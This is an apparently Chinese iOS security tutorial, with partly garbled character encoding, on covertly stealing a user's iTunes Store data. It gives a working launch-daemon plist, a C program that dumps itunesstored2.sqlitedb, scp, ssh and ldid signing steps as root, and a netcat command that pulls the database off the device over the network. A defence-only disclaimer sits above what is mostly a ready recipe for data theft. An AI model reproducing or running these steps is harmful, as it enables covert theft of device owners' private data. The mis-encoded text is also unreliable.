鍍金池/ 教程/ iOS/ 后臺(tái) daemon 非法竊取用戶 iTunesstore 信息
Hack 實(shí)戰(zhàn)——支付寶 App 手勢密碼校驗(yàn)欺騙
使用 Reveal 分析他人 App
后臺(tái) daemon 非法竊取用戶 iTunesstore 信息
使用 iNalyzer 分析應(yīng)用程序
越獄檢測的攻與防
使用 introspy 追蹤分析應(yīng)用程序
廢除應(yīng)用程序的 ASLR 特性
使用 Cycript 修改支付寶 App 運(yùn)行時(shí)
敏感邏輯的保護(hù)方案
Fishhook
使用 class-dump-z 分析支付寶 App
static 和被裁的符號(hào)表
iOS7 的動(dòng)態(tài)庫注入
二進(jìn)制和資源文件自檢
Hack 實(shí)戰(zhàn)——探究支付寶 App 手勢密碼
使用 Keychain-Dumper 導(dǎo)出 keychain 數(shù)據(jù)
數(shù)據(jù)擦除
Hack 實(shí)戰(zhàn)——解除支付寶 App 手勢解鎖錯(cuò)誤次數(shù)限制
Objective-C 代碼混淆
阻止 GDB 依附
基于腳本實(shí)現(xiàn)動(dòng)態(tài)庫注入
Hack 必備的命令與工具
鍵盤緩存與安全鍵盤
數(shù)據(jù)保護(hù) API

后臺(tái) daemon 非法竊取用戶 iTunesstore 信息

本人鄭重聲明:并不鼓勵(lì)竊取用戶隱私等行為,一切 hack 學(xué)習(xí)都只是為了研究如何防御。OK,進(jìn)入正題。

開機(jī)自啟動(dòng)

iOS 安全攻防(一):Hack必備的命令與工具中,介紹了如何編譯自己的 C 程序并手動(dòng)啟動(dòng)。今天介紹如何使程序變?yōu)殚_機(jī)自啟動(dòng)。

首先打開 Xcode 創(chuàng)建一個(gè) plist 屬性文件,如下圖所示:

http://wiki.jikexueyuan.com/project/ios-security-defense/images/daemon1.png" alt="daemon1" />

其中要注意一下通信服務(wù)名,我定為 55 。用編輯器打開,即為:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
<plist version="1.0">  
<dict>  
    <key>Program</key>  
    <string>/usr/bin/ncdemo</string>  
    <key>StandardErrorPath</key>  
    <string>/dev/null</string>  
    <key>SessionCreate</key>  
    <true/>  
    <key>ProgramArguments</key>  
    <array>  
        <string>/usr/bin/ncdemo</string>  
    </array>  
    <key>inetdCompatibility</key>  
    <dict>  
        <key>Wait</key>  
        <false/>  
    </dict>  
    <key>Sockets</key>  
    <dict>  
        <key>Listeners</key>  
        <dict>  
            <key>SockServiceName</key>  
            <string>55</string>  
        </dict>  
    </dict>  
</dict>  
</plist>

最后,將 plist 文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/下 。

編寫讀取 iTunesstore 數(shù)據(jù)庫程序

讀取 itunesstored2.sqlitedb 信息,并輸出到 stdout 中,便于我們讀取。

#include <stdio.h>  
#include <fcntl.h>  
#include <stdlib.h>  

#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"  

int main(){  
    int fd = open(FILE, O_RDONLY);  
    char buf[128];  
    int ret = 0;  

    if(fd < 0)  
        return -1;  
    while (( ret = read(fd, buf, sizeof(buf))) > 0){  
        write( fileno(stdout), buf, ret);  
    }  
    close(fd);  
    return 0;  
}  

編譯、拷貝、簽名

編譯方法上篇文章已經(jīng)介紹清楚,這里不再重復(fù),直接 ¥%¥#%¥……%# 生成運(yùn)行在 ARM 的 ncdemo

將 ncdemo scp 到設(shè)備中,并登錄

$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114

簽名

#ldid -S ncdemo
#mv ncdemo /usr/bin

抓取 iTunesstore 數(shù)據(jù)信息

這時(shí),我們只需要利用 netcat,指定之前定義的服務(wù)名稱,輕松在本地抓取設(shè)備 iTunesstore 信息. $ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析 iTunesstore 數(shù)據(jù)信息

好吧,這里就介紹個(gè)最簡單的應(yīng)用,利用string命令查看: $ strings itunesstored2.sqlitedb

于是乎,我們就清晰的得到了 iPhone/iPad 設(shè)備上都安裝了哪些 app :

http://wiki.jikexueyuan.com/project/ios-security-defense/images/daemon2.png" alt="daemon2" />

當(dāng)然,除了這些,你想干什么都可以……夜深了,先寫到這里吧……